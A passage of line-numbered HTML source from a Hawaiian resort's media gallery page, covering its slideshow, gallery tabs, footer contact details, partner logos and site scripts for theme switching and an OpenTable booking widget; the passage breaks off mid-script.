data-lazy="/images/hero/full/koaak-rm-605-golf-vista-deluxe-2-beds_lr.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4253 <figcaption> 4254 <div class="inner"> 4255 4256 </div> 4257 </figcaption> 4258 4259 <div class="hero-sub-caption"></div> 4260 4261 </figure> 4262 4263 <figure class="slide hero-slide"> 4264 <img data-lazy="/images/hero/full/SHOT02_KIDS_SNORKLE_0176.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4265 <figcaption> 4266 <div class="inner"> 4267 4268 </div> 4269 </figcaption> 4270 4271 <div class="hero-sub-caption"></div> 4272 4273 </figure> 4274 4275 <figure class="slide hero-slide"> 4276 <img data-lazy="/images/hero/full/SHOT12_VISTA_DECK_0129.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4277 <figcaption> 4278 <div class="inner"> 4279 4280 </div> 4281 </figcaption> 4282 4283 <div class="hero-sub-caption"></div> 4284 4285 </figure> 4286 4287 <figure class="slide hero-slide"> 4288 <img data-lazy="/images/hero/full/SHOT01_SHORELINE_WALK_SCENIC_BOOGIE_BOARD_0070.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4289 <figcaption> 4290 <div class="inner"> 4291 4292 </div> 4293 </figcaption> 4294 4295 <div class="hero-sub-caption"></div> 4296 4297 </figure> 4298 4299</div> 4300 4301<button type="button" class="btn-hero-toggle js-hero-ctrl is-hidden" aria-label="Pause Slideshow" aria-pressed="false" ></button> 4302 4303 4304 4305 4306 4307</div> 4308 4309<main id="main-content" class="main-content" role="main"> 4310 <div class="intro"> 4311 <div class="inner cf"> 4312 <div class="hgroup"> 4313 <div class="hdm-content" hdmType="HtmlEditable" id="Field_1_1008"><h1><em>Media</em> Gallery</h1></div> 4314 </div> 4315 <div class="hdm-content" hdmType="HtmlEditable" id="Field_2_1008"><p class="lede">View Mauna Kea Resort favorite images in our selections below.</p> 4316<p>From iconic beach shots to island cuisine, Mauna Kea Resort will inspire your next Mauna Kea Moment.</p></div> 4317 </div> 4318 </div> 4319 4320 <style>.gallery-wrap{position:relative;z-index:2;overflow:hidden;max-width:1280px;margin:0 auto 3em}.gallery-tabs{margin-bottom:3em}@media screen and (max-width:767px){.gallery-tabs{margin-bottom:1em}}.gallery-tabs-list{display:flex;flex-wrap:wrap;justify-content:space-evenly;color:#000}.gallery-tabs-list>li{box-sizing:border-box;text-align:center}@media screen and (max-width:767px){.gallery-tabs-list>li{width:50%;padding:0 1.5em;text-align:left}}.gallery-tab{position:relative;display:inline-block;color:currentColor;padding:.25em;font-size:.813rem;text-transform:uppercase;letter-spacing:.1em}@media screen and (max-width:767px){.gallery-tab{display:block;text-align:left}}.gallery-tab::after{content:'';pointer-events:none;position:absolute;top:100%;left:50%;width:0;height:1px;background-color:#ff671f;transform:translateX(-50%);transition:width .35s}.gallery-tab.active::after,.gallery-tab:hover::after{width:calc(100% - .5em)}.gallery-tab.active{cursor:default}.gallery-tab:not(.active):hover{color:#ff671f}.gallery-grid{display:grid;grid-template-columns:repeat(4,1fr);grid-auto-rows:1fr;column-gap:20px;row-gap:20px;margin-bottom:20px;transition:opacity .6s ease}@media screen and (max-width:767px){.gallery-grid{grid-template-columns:repeat(3,1fr);column-gap:15px;row-gap:15px;margin-bottom:15px}}@media screen and (max-width:480px){.gallery-grid{grid-template-columns:repeat(2,1fr)}}.gallery-grid.loading{opacity:0;visibility:hidden}.gallery-grid .hover-zoom>div{transition:opacity 1s ease-in-out}.gallery-grid .hover-zoom:hover>div{opacity:.5}.gallery-tile{position:relative;overflow:hidden;background-color:#eee}.gallery-tile:hover .gt-caption{opacity:1}.gt-caption{pointer-events:none;box-sizing:border-box;position:absolute;bottom:0;left:0;z-index:2;width:100%;padding:1.5em;text-transform:uppercase;font-size:.7rem;line-height:1.4em;text-align:center;color:#fff;opacity:0;transition:opacity .5s ease-in}.btn-gallery{position:absolute;top:0;left:0;z-index:2;width:100%;height:100%;background-color:transparent}.btn-gallery:focus{outline:1px solid #fff;outline-offset:-.5em}.btn-gallery:hover{background-color:transparent}.load-more{position:relative;display:block;width:182px;height:182px;margin:0 auto 2em;color:#ffdbc3;border:2px solid #fab484;border-radius:50%;font-family:"Lora",serif;font-size:1.875rem;letter-spacing:normal;line-height:1;padding:1em}.load-more::before{content:'';pointer-events:none;width:84%;height:84%;border:2px dotted;border-radius:50%;position:absolute;top:50%;left:.25em;opacity:.3;transform:translateY(-50%)}.load-more i{display:block}.load-more:hover{color:#fff}</style> 4321 4322 4323 4324 4325<div class="gallery-wrap"> 4326 4327 <div class="gallery-tabs"> 4328 <ul class="unstyled-list gallery-tabs-list"> 4329 <li><button type="button" class="gallery-tab js-gallery-tab" data-gallery="stay">Stay</button></li> 4330 <li><button type="button" class="gallery-tab js-gallery-tab" data-gallery="dine">Dine</button></li> 4331 <li><button type="button" class="gallery-tab js-gallery-tab" data-gallery="play">Play</button></li> 4332 <li><button type="button" class="gallery-tab js-gallery-tab" data-gallery="golf">Golf</button></li> 4333 <li><button type="button" class="gallery-tab js-gallery-tab" data-gallery="gather">Gather</button></li> 4334 <li><button type="button" class="gallery-tab js-gallery-tab" data-gallery="celebrate">Celebrate</button></li> 4335 <li><button type="button" class="gallery-tab js-gallery-tab" data-gallery="culture">Culture</button></li> 4336 <li><button type="button" class="gallery-tab js-gallery-tab" data-gallery="videos">Videos</button></li> 4337 <li><button type="button" class="gallery-tab js-gallery-tab" data-gallery="tour">Virtual Tours</button></li> 4338 </ul> 4339 </div> 4340 4341 4342<style> 4343 .MuiPaper-root h6.MuiTypography-root { color: #fff; } 4344 input.MuiInputBase-input[type="text"] { box-sizing: content-box; background: none; } 4345</style> 4346 4347 4348<div class="gallery-grid-wrap" hdmtype="gallery"> 4349 <div class="gallery-grid loading"> 4350 <!-- <div class="gallery-tile is-zoom"><div><img src="/images/content/gallery/weddings/img-01.jpg" width="360" height="294" alt="" class="object-fit"></div><button type="button" class="btn-gallery js-btn-gallery" aria-label="Show Gallery"></button></div> --> 4351 </div> 4352</div> 4353 4354 4355</div> 4356 4357<!-- <button type="button" class="load-more js-load-more"><i class="icon-plus"></i> load more</button> --> 4358 4359<div id="gallery-popup" class="gallery-pop mfp-hide"> 4360 <div class="gallery-slider js-gallery-slider"> 4361 <!-- 4362 <div> 4363 <figure class="gallery-slide"> 4364 <div class="gs-img"><img src="/images/content/gallery/weddings/img-01.jpg" alt="" class="object-fit"></div>
4365 <figcaption></figcaption> 4366 </figure> 4367 </div> 4368 --> 4369 </div> 4370</div> 4371 4372 4373 4374 4375 4376</main> 4377 4378 4379 4380 4381 <style>.ftr-logo{width:206px;height:84px;overflow:hidden}.ftr-logo svg{width:100%;height:100%}</style> 4382 4383 4384 4385 4386<footer class="site-footer" role="contentinfo"> 4387 4388 4389<div class="eclub"> 4390 <form class="eclub-form" method="post" action="/email-signup"> 4391 <fieldset> 4392 <legend>Let's stay in touch</legend> 4393 <div class="field"> 4394 <label for="eclubEmail" class="ada-hidden">Enter your email</label> 4395 <input type="email" placeholder="Enter your email" name="eclubEmail" id="eclubEmail"> 4396 </div> 4397 </fieldset> 4398 <input type="submit" value="Sign Up"> 4399 </form> 4400 <div class="footer-logos"> 4401 <a href="http://www.virtuoso.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/vir-logo-member-300.png" alt="Virtuoso Memeber" width="100" class="footer-logo travelers"></a> 4402 <a href="https://www.signaturetravelnetwork.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/Sig_Logo-300.png" alt="Signture travel network" width="100" class="footer-logo travelers"></a> 4403 <a href="http://www.stars.marriott.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/luminous-300.png" alt="Marriott International Luminous" width="100" class="footer-logo travelers"></a> 4404 <a href="https://internovatravel.com/hotel/a2o0y000005JIXlAAO/Mauna-Kea-Beach-Hotel%2C-Autograph-Collection" target="_blank" class="footer-logo"><img loading="lazy"src="/images/layout/logos/select-300.png" alt="Select" width="100" class="footer-logo travelers"></a> 4405 <a href="https://hotelexcellence.marriott.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/hotel-excellence-tall-600.png" alt="Hotel Excellence" width="100" class="footer-logo travelers"></a> 4406 <a href="#" target="_blank" style="pointer-events: none; cursor: default;" class="footer-logo"><img loading="lazy" src="/images/layout/logos/proud-partner.png" alt="proud partner of ensemble" width="130" class="footer-logo travelers"></a> 4407 4408 <a href="https://newsroom.aaa.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/AAA-tall-300.png" alt="AAA four diamond" width="100" class="footer-logo travelers"></a> 4409 <a href="https://www.tripadvisor.com/TravelersChoice" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/TC-2023-300.png" alt="2023 Traveler's Choice" width="100" class="footer-logo travelers"></a> 4410 <a href="https://www.maunakearesort.com/play/tesla-experience" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/envoy-logo-trademarked-300.png" alt="ENVOY" width="100" class="footer-logo travelers"></a> 4411 <a href="https://www.maunakearesort.com/play/tesla-experience" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/tesla-300.png" alt="Tesla" width="100" class="footer-logo travelers"></a> 4412 <a href="https://www.maunakearesort.com/play/gopro-experience" class="footer-logo" aria-label="Go Pro"><img loading="lazy" src="/images/layout/logos/gopro--300.png" alt="Go Pro" width="100" class="footer-logo travelers"></a> 4413 <a href="https://www.winespectator.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/wslogo-300.png" alt="Wine Spectator" width="100" class="footer-logo travelers"></a> 4414 <a href="#" target="_blank" style="pointer-events: none; cursor: default;" class="footer-logo"><img loading="lazy" src="/images/maunakeabeachhotel/content/logos/CNT-US-RCA-2025.png" alt="Conde Nast Traveler" width="120" class="footer-logo travelers"></a> 4415 </div> 4416</div> 4417 4418 4419 4420 4421 4422 <div class="ftr-top"> 4423 <div><i class="icon-location"></i> <span class="mobile-break">62-100 Kauna'oa Drive,</span> Kohala Coast, HI 96743</div> 4424 <div><span class="mobile-break">Room Reservations:</span> <a href="tel:1-877-880-6524">1-877-880-6524</a></div> 4425 <div><span class="mobile-break">Mauna Kea Beach Hotel Direct:</span> <a href="tel:1-808-882-7222">1-808-882-7222</a></div> 4426 <div><span class="mobile-break">The Westin Hapuna Direct:</span> <a href="tel:1-808-880-1111">1-808-880-1111</a></div> 4427 </div> 4428 <div class="ftr-bottom"> 4429 <div class="cf inner flex"> 4430 <div class="col-1"> 4431 <div class="ftr-logo"><a href="/"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 501.54 196.46"><title>
4431Mauna Kea Resort</title><path class="sl-1" d="M253.38 0a14.28 14.28 0 0 0-4.3.67 12.48 12.48 0 0 0-7.55 6.22c-5 9.14 1 22.38 9.87 29.18 3.28-8.21 7.64-12.54 11.16-16 1-1 1.88-1.86 2.68-2.76a7.21 7.21 0 0 0 1.75-6.39c-.62-3.87-3.43-7.31-7.71-9.45a12.47 12.47 0 0 0-5.9-1.47ZM253.22 39.5a36.28 36.28 0 0 1 .84 16.6 60.33 60.33 0 0 0-.45 3.58c-.19 3.07.49 5.39 2.08 7.08 2.09 2.23 5.73 3.31 11.12 3.31a12.47 12.47 0 0 0 9.49-4.62 10.18 10.18 0 0 0 2.33-8.53c-1.72-10.32-14.71-15.84-25.3-17.43Z"/><path class="sl-1" d="M251.27 39.69c-6.05 3.56-14.22 4.93-19.66 5.83a9.05 9.05 0 0 0-5.77 5.32 14.92 14.92 0 0 0-.08 12c3.61 6.76 10.37 9.15 16.83 5.92 12.86-6.5 9.86-23.83 8.68-28.99ZM229.51 16.56a12.45 12.45 0 0 0-9.35 4.3 13.94 13.94 0 0 0-4 10.19 12 12 0 0 0 4.48 8.47c2.67 2.47 7.59 3.48 13.84 2.84a46.71 46.71 0 0 0 15.68-4.54c-6.21-4.72-9.76-9.42-11.83-15.65a8.28 8.28 0 0 0-6.58-5.4 11.55 11.55 0 0 0-2.24-.21ZM253.24 37.19a58 58 0 0 1 15.54 4.53c1.26.52 2.46 1 3.69 1.47 2.53 1 5.77.48 8.87-1.34 3.59-2.1 6.1-5.42 6.56-8.67a15.22 15.22 0 0 0-2.75-11.24 11.2 11.2 0 0 0-7.7-4.24c-10.48-.91-20.49 9.14-24.21 19.49Z"/><g><path class="sl-2" d="M427.01 131.26c-.89 0-14.7.48-14.49-2.68.25-3.92 19.8-3.49 23.91-2.7 1.62.31 3.65.91 3.47 2.48s-5.08 2.7-12.89 2.9ZM286.1 136.57c-.66 0-10.83.47-10.68-2.69.19-3.91 14.6-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.74 2.67-9.5 2.91ZM479.81 136.57c-.66 0-10.83.47-10.68-2.69.18-3.91 14.59-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.75 2.67-9.5 2.91Z"/><path class="sl-3" d="M2.86 128.32c1-2.39 1.78-4.84 2.93-7.14 4.95-9.91 17.06-11 24.12-2.41 3.41 4.17 4.94 9.27 7.48 13.87 2.73 5 4.59 5.05 7.44.23 2.27-3.82 4.25-7.81 6.59-11.58 3.19-5.12 7.05-9.17 14-8s9.47 6.23 10.83 12a40.18 40.18 0 0 1 1 15.26c-.27 1.88-.83 3.8-3.29 3.5-2.08-.26-2.35-1.93-2.3-3.74a45.47 45.47 0 0 0-2-15.15c-.81-2.53-1.93-5.23-4.91-5.69-3.29-.51-4.52 2.43-5.75 4.65-2.46 4.46-4.12 9.33-7.06 13.57-6 8.64-13.7 8.65-19.21-.33-2.65-4.32-4.55-9.1-6.83-13.66-1.21-2.45-2.93-5.1-5.66-5-3.1.06-4.42 3.13-5.42 5.8a68.56 68.56 0 0 0-2.93 12.51c-.39 2.41-.77 5.38-2 6.07s-5.08.77-7.26-.19c-3.71-1.62-2.56-4.45-2.18-6.29.48-2.34 1.6-5.41 2.41-8.28ZM341.19 116.84c.13-2.53.83-5.25 4.07-5.14 2.88.09 3.61 3 3.71 5 .06 1.16-.83 6.88 4.83 4.66a147.44 147.44 0 0 1 29-9.41c2.86-.57 5.27-.47 5.92 2.56.75 3.51-2.54 3.36-4.62 3.65a150.58 150.58 0 0 0-23.1 5.25c-1.63.51-4 .94-3.89 3.15.08 1.8 2.21 2.22 3.73 2.8 8.53 3.26 17.53 4.5 26.46 6 1.78.31 4.67.3 4.7 2.49.22 2.73-1.26 4.59-4 5.6-4.1 1.52-7.83-.12-11.6-1.12a99 99 0 0 1-23.11-9.74c-3.56-2-4.17-.87-4.09 2.46a27.18 27.18 0 0 1-.18 5c-.33 2-1.06 3.88-3.65 4-2.83.17-4-1.76-4.12-4-.23-4.01-.25-19.58-.06-23.21ZM199.32 122.41c2.51-8.73 10.34-11.94 18.72-7 6 3.53 9.42 8.72 13.65 14 2.23 2.79 5.23 7.15 9.15 6.22 4.12-1 4.25-5.87 4.51-9.32.28-3.91-.06-6.6 0-9.91 0-1.67.32-2.95 2.32-3.12a2.83 2.83 0 0 1 3.27 2.34c1.72 6.76 3.29 13.55 1 20.49-2.47 7.6-10.71 10.25-18.36 5.94-5.68-3.2-9.24-8.41-12.87-13.55-1.71-2.43-3.32-4.93-5.12-7.29-1.42-1.87-3-3.26-5.8-3-2.1.22-4 2.08-4.54 5.74s-.21 9.83.07 15.2c.1 1.92.57 4.36-2.15 4.82s-3.39-1.77-4.12-3.92c-.96-2.79-1.71-10.79.27-17.64ZM501.45 143.26c-.3.94-1.38 1.07-3.2 1.07s-2.47-1.53-2.57-2.87c-.38-5.26-.72-10.52-2.78-15.5-2.22-5.38-6.06-8.41-12-8.85s-10.21 2.34-12.94 7.39a33.2 33.2 0 0 0-4.1 16.1c0 2.8-1.36 4.11-3.81 4-2.25 0-4.66-.34-5.4-3.32-2.31-9.26 6.24-23.64 15.39-27.88 11.85-5.48 27.15 1.58 30.47 16.61.62 2.91 1.32 11.92.94 13.25Z"/><path class="sl-4" d="M189.38 118.36c-.38 14.35-9.25 24.8-21.51 25.75a23.78 23.78 0 0 1-25.29-26.69c.35-3 1.84-4.52 4.82-4.32s5.21 1.34 5 4.81a23.62 23.62 0 0 0 2.28 11c2.1 4.75 5.35 8.12 11.06 8.49 6.54.43 11.65-1.55 14.93-7.47a27.37 27.37 0 0 0 3-11.34c.18-2.22-.8-5.63 3.2-5.38 2.85.2 2.48 3.42 2.51 5.15Z"/><path class="sl-5" d="M427.73 144.59c-9 0-16.47-1.26-22.91-5.92-9.71-7-9-16.33 1.42-22.34 8.74-5 19.68-4.69 27.55-3.52a49.72 49.72 0 0 1 6.75 1.48c1.18.37 2.41.94 2.17 2.43s-1.42 1.88-2.94 1.64c-2.77-.43-5.51-1.14-8.3-1.42-7.82-.81-14.18.92-16.67 2.15-4 2-6.82 4.61-6.89 8.79s2.76 6.64 6 8.42c7.49 4.08 15.59 3.68 23.7 2.62.81-.1 1.88-.38 2.69-.49 1.76-.25 2.91.59 3 2.18.11 1.3-1.28 2.14-2.66 2.49a58.33 58.33 0 0 1-12.91 1.49ZM133.69 138.64a15 15 0 0 1 .06 2.21c-.05 1-.2 3.13-2.41 3.22a2.5 2.5 0 0 1-2.78-2.79 32.06 32.06 0 0 0-1.73-10.69c-2.44-7.89-7.59-11.49-15.86-11.22-6.36.2-11.45 4.73-13.18 12a32.22 32.22 0 0 0-1.08 7.79c0 3.88-2.42 4.85-5.38 4.9-3.16.05-4-2-3.78-5 .73-9 3.43-17.2 11.21-22.57 9.72-6.72 28.06-4.73 32.85 11.5a57.83 57.83 0 0 1 2.08 10.65Z"/><path class="sl-4" d="M307.51 137.55c0 1.63.05 2.62 0 3.61-.09 1.42-.67 2.7-2.19 2.88a2.63 2.63 0 0 1-3-2.67 36 36 0 0 0-2.34-9.59c-2.72-7.16-8.27-11.14-14.86-11s-11.25 4-14 11.35a51.54 51.54 0 0 0-2.26 9.06c-.27 1.44-.9 3.08-2.85 2.83a2.74 2.74 0 0 1-2.33-2.86c.09-9.1 1.06-18.16 9-24.12 7.18-5.42 15.49-5.68 23.38-1.58 8.98 4.74 10.76 13.57 11.45 22.09Z"/><path class="sl-2" d="M112.97 136.57c-.66 0-10.83.47-10.68-2.69.18-3.91 14.59-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.75 2.67-9.5 2.91Z"/></g><g><path class="sl-6" d="m186.45 195.99-4.18-7.3a3.62 3.62 0 0 1-.46 0h-5.84v7.28h-3.17v-18.54h8.87q7.46 0 7.46 5.64a4.84 4.84 0 0 1-3.64 5l4.68 7.93Zm-5-9.95a6.07 6.07 0 0 0 3.32-.73 2.56 2.56 0 0 0 1.08-2.26 2.52 2.52 0 0 0-1-2.25 6.13 6.13 0 0 0-3.32-.69h-5.54v5.93ZM201.61 195.99v-18.56h15.13v2.83h-11.83v4.84h11.26v2.78h-11.26v5.38h12.4l-.47 2.78ZM242.23 182.55a4.67 4.67 0 0 0-1.09-1.74 4.17 4.17 0 0 0-1.69-.94 9.56 9.56 0 0 0-2.53-.28 9.17 9.17 0 0 0-3.87.66 2.07 2.07 0 0 0-1.38 1.91 2 2 0 0 0 .9 1.77 8.3 8.3 0 0 0 3.13.94l3.85.5
44317a9.3 9.3 0 0 1 4.77 1.83 4.66 4.66 0 0 1 1.52 3.68 4.57 4.57 0 0 1-2.25 4.07 11.66 11.66 0 0 1-6.3 1.44q-4.43 0-6.7-1.53a6.33 6.33 0 0 1-2.66-4.76h3.33a3.8 3.8 0 0 0 1.78 2.79 8.24 8.24 0 0 0 4.25.88 8 8 0 0 0 3.86-.76 2.34 2.34 0 0 0 1.34-2.13 2.08 2.08 0 0 0-.92-1.79 6.77 6.77 0 0 0-2.88-.94l-3.33-.49a16.28 16.28 0 0 1-4.08-1.07 4.84 4.84 0 0 1-2.18-1.75 5 5 0 0 1-.65-2.65 4.36 4.36 0 0 1 2.25-3.89 12.08 12.08 0 0 1 6.31-1.39 13.58 13.58 0 0 1 4.18.55 6.21 6.21 0 0 1 2.72 1.66 6.81 6.81 0 0 1 1.49 2.91ZM278.03 186.71a10.09 10.09 0 0 1-1.27 5.11 8.57 8.57 0 0 1-3.65 3.42 13.63 13.63 0 0 1-11.14.06 8.47 8.47 0 0 1-3.69-3.36 11 11 0 0 1-.05-10.34 8.63 8.63 0 0 1 3.65-3.42 12.28 12.28 0 0 1 5.64-1.22 12.46 12.46 0 0 1 5.5 1.16 8.43 8.43 0 0 1 3.69 3.37 10 10 0 0 1 1.32 5.22Zm-3.41 0a6.93 6.93 0 0 0-1.86-5.15 8.41 8.41 0 0 0-10.5 0 8 8 0 0 0 0 10.3 8.37 8.37 0 0 0 10.5 0 6.87 6.87 0 0 0 1.86-5.15ZM303.98 195.99l-4.18-7.3a3.62 3.62 0 0 1-.46 0h-5.84v7.28h-3.17v-18.54h8.87q7.46 0 7.46 5.64a4.84 4.84 0 0 1-3.64 5l4.68 7.93Zm-5-9.95a6.07 6.07 0 0 0 3.32-.73 2.94 2.94 0 0 0 .05-4.51 6.13 6.13 0 0 0-3.32-.69h-5.54v5.93ZM324.7 195.99v-15.73h-7.48v-2.78h18.28v2.78h-7.49v15.78Z"/></g></svg></a></div> 4432 <ul class="unstyled-list ftr-social"> 4433 <li><a href="https://linktr.ee/MaunaKeaResort" target="_blank" rel="noopener" aria-label="Facebook"><i class="icon-facebook"></i></a></li> 4434 <li><a href="https://linktr.ee/MaunaKeaResort" target="_blank" rel="noopener" aria-label="Instagram"><i class="icon-instagram"></i></a></li> 4435 </ul> 4436 </div> 4437 <div class="col-2"> 4438 <div class="two-col ftr-links"> 4439 <ul class="unstyled-list"> 4440 <li><a href="/careers">Careers</a></li> 4441 <li><a href="/press-room">Press Room</a></li> 4442 <li><a href="/stay/accessible-rooms">ADA</a></li> 4443 <li><a href="/contact">Contact Us</a></li> 4444 <li><a href="/directions">Directions</a></li> 4445 <li><a href="/policies">Policies</a></li> 4446 <li><a href="/culture/sustainability">Sustainability</a></li> 4447 <li><a href="/stay/laundry-valet">Hapuna Laundry</a></li> 4448 <li><a href="https://www.alohasothebysrealty.com/" target="_blank" rel="nofollow">Aloha Sotheby's</a></li> 4449 <li><a href="https://eastwest.com/places/maunakea/" target="_blank" rel="nofollow">East West Hospitality</a></li> 4450 <li><a href="https://www.marriott.com/loyalty.mi" target="_blank" rel="noopener">Marriott Bonvoy</a></li> 4451 <li><a href="https://travelagents.princeresortshawaii.com/" target="_blank" rel="noopener">Travel Agents</a></li> 4452 <li><button id="ot-sdk-btn" class="ot-sdk-show-settings">Cookie Settings</button></li> 4453 </ul> 4454 </div> 4455 </div> 4456 4457 <div class="col-3"> 4458 <div class="two-col ftr-links"> 4459 <ul class="unstyled-list"> 4460 <li class="c-logo"><a href="https://www.marriott.com/loyalty.mi?scid=d4e4bc07-f4b0-42de-a21c-dead4579f390" target="_blank" rel="noopener"><img loading="lazy" src="/images/layout/logos/bonvoy-white.png" width="122" height="35" alt="Bonvoy"></a></li> 4461 <li class="c-logo l-mar"><a href="https://www.marriott.com/en-us/hotels/koaak-mauna-kea-beach-hotel-autograph-collection/overview/" target="_blank" rel="noopener"><img class="autograph" loading="lazy" src="/images/layout/logos/autograph.png" width="115" height="52" alt="autograph"></a></li> 4462 <li class="c-logo"><a href="https://www.marriott.com/en-us/hotels/koawi-the-westin-hapuna-beach-resort/overview/" target="_blank" rel="noopener"> <img loading="lazy" src="/images/layout/logos/westin.png" width="107" height="35" alt="westin"></a></li> 4463 4464 <li class="c-logo l-mar"><a href="https://www.seibuprince.com/" target="_blank" rel="noopener"><img loading="lazy" src="/images/layout/logos/seibu-prince-logo.png" width="106" height="82" alt="Seibu Prince Hotels & Resorts"></a></li> 4465 </ul> 4466 </div> 4467 </div> 4468 4469 </div> 4470 </div> 4471 4472 <div class="footer-bg"> 4473 <video id="footer-video" class="object-fit" preload="none" muted loop playsinline width="640" height="360" data-dawn-src="/videos/ftr-dawn.mp4" data-dusk-src="/videos/ftr-dusk.mp4"> 4474 <source src="/videos/ftr-dawn.mp4"> 4475 </video> 4476 </div> 4477 4478
4478<script> 4479 _hdmq.add(function(){ 4480 4481 observeBgVideo('#footer-video', '.site-footer'); 4482 4483 }); 4484 </script>
4484 4485 4486 4487 4488</footer> 4489 <!-- scripts --> 4490 4491 4492
4492<script> 4493 var loadDeferredStyles = function () { 4494 var addStylesNode = document.getElementById("deferred-styles"); 4495 var textContent = addStylesNode.textContent; 4496 addStylesNode.parentElement.removeChild(addStylesNode); 4497 var replacement = document.createElement("div"); 4498 replacement.innerHTML = textContent; 4499 document.body.appendChild(replacement); 4500 }; 4501 //this could go in a bundle too. Can't go in top because want to not process until now 4502 //you can check for blocking by checking network tab on chrome dev tools and see if whatever download comes before or after the red line. 4503 //something is happening here to make the after css block 4504 //ossilby some other blocking javascript loading? So put this in 4505 //jquey pho queue and document on ready... doesnt work 4506 //$(function(){ 4507 // $(document).ready(function(){ 4508 // document.body.appendChild(replacement); 4509 // }); 4510 //}); 4511 var raf = null; 4512 if (typeof requestAnimationFrame === "function") { 4513 raf = requestAnimationFrame; 4514 } else if (typeof mozRequestAnimationFrame === "function") { 4515 raf = mozRequestAnimationFrame; 4516 } else if (typeof webkitRequestAnimationFrame === "function") { 4517 raf = webkitRequestAnimationFrame; 4518 } else if (typeof msRequestAnimationFrame === "function") { 4519 raf = msRequestAnimationFrame; 4520 } 4521 if (raf) { 4522 raf(function() { window.setTimeout(loadDeferredStyles, 0); }); 4523 } else { 4524 /* for anyone who does have raf from above. Except IE < 9 which can't see inside noscript tags. doesn't seem to load this, at least in emulation mode 4525 That's whay there is the IE < 9 conditional next to noscript 4526 when IE < 9 support is dropped put this in 4527 else window.addEventListener('load', loadDeferredStyles); 4528 from https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery#example 4529 might be better if we just server side detect it 4530 */ 4531 if (window.attachEvent) { 4532 window.attachEvent('onload', loadDeferredStyles); 4533 } else { 4534 window.addEventListener('load', loadDeferredStyles); 4535 } 4536 /* another way to just them in 4537 string styleTags = Styles.Render("~/css/after.css").ToHtmlString().Trim(); 4538 foreach (LinkTag lt in deferredLinkTags) { 4539 styleTags = styleTags + lt.GetTag().Trim(); 4540 }*/ 4541 /* 4542 console.log("loading after styles directly"); 4543 loadDeferredStyles('<styleTags%>'); 4544 */ 4545 } 4546 </script>
4546 4547 4548
4548<script src="/js/js_client_bundle.js?v=y3Lq5KT4O1a5EwcAdGnHCYZ4hfaVuXNmAGJhOhrZTGk1" async ></script>
4548 4549 4550 4551
4551<script> 4552 /////////////////////////// 4553 4554 (function(){ 4555 var appendScripts = function(scripts) { 4556 for (var i = 0; i < scripts.length; i++) { 4557 var element = document.createElement("script"); 4558 element.src = scripts[i]; 4559 document.body.appendChild(element); 4560 } 4561 } 4562 4563 var afterBodyLoad = function() { 4564 4565 ////////////// 4566 4567 ///////////////////////// 4568 4569 } 4570 var coreLoaded = function() { 4571 //after core inline 4572 (function(){function t(){const f=this,e=f.dataset.theme,i=document.querySelector("body"),r=$("#footer-video")[0];let u;t&&(i.classList.add("theme-loading"),n=!0,e==="dusk"?(i.classList.remove("dawn-active"),i.classList.add("dusk-active"),$(".theme-caption").empty().text("ahiahi"),u=$("#footer-video").data("dusk-src"),$("#footer-video").find("source").attr("src",u),r.load(),r.play()):(i.classList.remove("dusk-active"),i.classList.add("dawn-active"),$(".theme-caption").empty().text("wana'ao"),u=$("#footer-video").data("dawn-src"),$("#footer-video").find("source").attr("src",u),r.load(),r.play()),setTimeout(function(){n&&i.classList.remove("theme-loading")},3e3))}let n=!1;const i=document.querySelectorAll(".js-btn-theme"),r=Array.prototype.slice.call(i);r.forEach(function(n){n.addEventListener("click",t)})})(),function(){function r(){var n,i;t||(n=document.createElement("script"),n.type="text/javascript",n.src="//www.opentable.com/widget/reservation/loader?rid=40177&rid=350437&rid=350440&rid=1147462&rid=987028&domain=com&type=standard&theme=standard&lang=en&overlay=true&iframe=false",i=document.querySelector(".dine-scripts"),i.prepend(n),t=!0)}function u(){$('.sb-col-2 a, .sb-col-2 button, .sb-col-2 input, .sb-col-2 select, .sb-col-2 .ot-dtp-picker-form input, .sb-col-2 .ot-dtp-picker-form select, .sb-col-2 [role="button"]').each(function(n,t){$(t).attr("tabindex",0)});$(".book-promo-slide").each(function(n,t){$(t).hasClass("active")&&$(t).find("a").attr("tabindex",0)})}function n(){$('#book a, #book button, #book input, #book select, #book .ot-dtp-picker-form input, .ot-dtp-picker-form select, #book [role="button"]').each(function(n,t){$(t).attr("tabindex",-1)})}function f(){let t=$("#staySelect"),i=t.val(),n=$(".mobile-book-notice");i=="KOAAK"?n.addClass("active"):n.removeClass("active")}function e(){let n=$("#g-recaptcha-response-100000");n.length&&$('<label for="g-recaptcha-response-100000">Response<\/label>').insertBefore(n)}let t=!1;$(".js-btn-reserve").off("click").on("click",function(){const t=$("body");if(t.removeClass("active-nav"),t.hasClass("book-active")){t.removeClass("book-active");try{n()}catch(i){console.log(i)}}else t.addClass("book-active"),setTimeout(function(){try{u();r()}catch(n){console.log(n)}},250)});$(".js-book-close").off("click").on("click",function(){const t=$("body");t.removeClass("active-nav");t.removeClass("book-active");n()});var i=$(".site-book .js-input");i.blur(function(){let n=$(this).val();n==""?$(this).removeClass("has-value"):$(this).addClass("has-value")});i.each(function(){$(this).val()&&$(this).addClass("has-value")});$(".stay-form").submit(function(n){var t,i,r,u,e;n.preventDefault();t=this;i=$(t).attr("action");let f=$("#staySelect").val();r=$("#bookCheckIn").val();u=$("#bookCheckOut").val();try{HDMdataLayer.push({event:"custom",category:"Book",property:f,startdate:r,enddate:u,action:document.location.pathname,label:"Check 